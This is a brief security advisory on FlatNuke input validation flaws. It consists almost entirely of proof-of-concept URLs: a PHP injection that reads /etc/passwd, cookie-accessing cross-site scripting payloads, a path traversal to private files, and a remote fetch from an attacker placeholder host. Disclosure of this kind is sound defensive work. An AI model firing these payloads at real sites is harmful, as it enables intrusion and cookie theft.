FlatNuke Multiple Input Validation Vulnerabilities

No exploit is required to leverage either of these issues. The following proof of concepts have been released.
http://www.example.com/?cmd=<?php system("cat /etc/passwd")?>
http://www.example.com/forum/help.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/help.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/footer.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/flatnuke/index.php?mod=none_Search&find=1&where=null
http://www.example.com/flatnuke/print.php
http://www.example.com/flatnuke/thumb.php?image=null
http://www.example.com/flatnuke/thumb.php?image=../../non-webreadable/private/image.jpg
http://www.example.com/flatnuke/thumb.php?image=http://[attacker]/image.jpg
http://www.example.com/flatnuke/thumb.php?image=null


 

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